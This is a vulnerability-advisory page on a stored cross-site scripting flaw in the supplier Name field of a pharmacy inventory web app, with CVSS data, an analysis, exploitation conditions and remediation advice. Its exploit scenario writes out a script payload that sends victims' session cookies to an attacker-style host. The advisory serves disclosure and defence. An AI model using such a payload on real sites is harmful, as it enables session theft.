EUVD-2026-26051Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Lifecycle Timeline
9DescriptionCVE.org
A vulnerability was determined in SourceCodester Pharmacy Sales and Inventory System 1.0. The impacted element is the function supplier of the file /index.php?page=supplier. Executing a manipulation of the argument Name can lead to cross site scripting. The attack may be performed from remote. The exploit has been publicly disclosed and may be utilized.
AnalysisAI
Stored cross-site scripting (XSS) in SourceCodester Pharmacy Sales and Inventory System 1.0 allows authenticated remote attackers with high privileges to inject malicious scripts via the Name parameter in the supplier management function (/index.php?page=supplier), affecting users who view the poisoned supplier records. The vulnerability requires user interaction (clicking a malicious link) and has CVSS 4.8 with publicly available proof-of-concept code, though it is limited to high-privileged users (PR:H) and causes only integrity impact (VI:L) without confidentiality or availability compromise.
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Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires three specific conditions: (1) the attacker must possess high-privilege credentials (PR:H from CVSS vector indicates admin or high-role user access is mandatory), (2) the vulnerable endpoint /index.php?page=supplier must be accessible and not rate-limited or restricted by network controls, and (3) a victim user must interact with the poisoned supplier record (UI:P requires user click or page view). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This vulnerability presents LOW-TO-MODERATE real-world risk despite the publicly available POC. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with high-privilege access (e.g., a compromised admin account or malicious staff member) navigates to /index.php?page=supplier and enters a malicious payload like <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> in the supplier Name field, then saves the record. When other authenticated users view the supplier list, the injected script executes in their browser, stealing session cookies or performing actions on their behalf. … |
| Remediation | Immediate remediation requires input validation and output encoding: sanitize the 'Name' parameter in the supplier management function using a PHP whitelist-based validation function or HTML entity encoding (htmlspecialchars() with ENT_QUOTES flag) before storing or displaying supplier names. … Detailed patch versions, workarounds, and compensating controls in full report. |
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External POC / Exploit Code
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